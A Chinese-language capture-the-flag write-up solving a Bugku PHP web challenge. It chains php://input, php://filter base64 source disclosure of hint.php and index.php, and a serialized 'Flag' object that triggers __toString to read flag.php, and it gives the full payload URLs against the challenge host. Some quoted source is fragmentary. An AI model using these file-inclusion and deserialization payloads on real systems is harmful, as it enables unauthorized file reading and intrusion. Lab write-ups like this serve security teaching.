下面就是源码
根据源码上给我的信息,我原先构造的payload其实是这样的
http://123.206.87.240:8006/test1/?txt=php://input&password=1&file=hint.php
可是不知道为什么一直出错,我到现在也不知道原因,但是如果payload的是这样的话http://123.206.87.240:8006/test1/?txt=php://input
就会有正确的显示出来
既然有正确的回显,那接下来就是要知道hint.php文件的信息了(因为代码中我看不出来啥信息了,手动捂脸)
//在这里可能就得需要用PHP的支持的协议PHP://filter
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
然后就可以得到一些base64的符号,在这里我转码一下
file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
相信很多人在看代码的时候都已经看到了这个flag.php
那想当然就php://filter了一下flag.php的源码,但是出现了一堆乱码,我看了一下我的浏览器的编码,发现是简体中文的,我就切换到了Unicode编码,但是看到了不能给你flag我当时就想哭了。。。。。线索断了之后,就只能百度了(水平有限鸭)
接下来一些大牛的做法就是看一下index,php,知道这个是经验的问题了哈哈哈
";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
从上面的/flag/看就知道flag.php就是一个烟雾弹,所以根据一开始源码提示的flag应该是在hint.php文件中了,接下来我看到了包含文件和unserialize函数,我就回去看了一下,发现和我以前看过的反序列化很类似
引用freebuf的一些话https://www.freebuf.com/articles/web/167721.html
序列化一下然后反序列化,为什么就能产生漏洞了呢?
这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:
在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
在这一题中include(hint.php),然后通过反序列化调用class flag中的魔术方法tostring(),所以构造payload
file = "flag.php";
$a = serialize($a);
print_r($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以构造payload
http://123.206.87.240:8006/test1/?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&file=hint.php
然后查看源码就可以得到flag了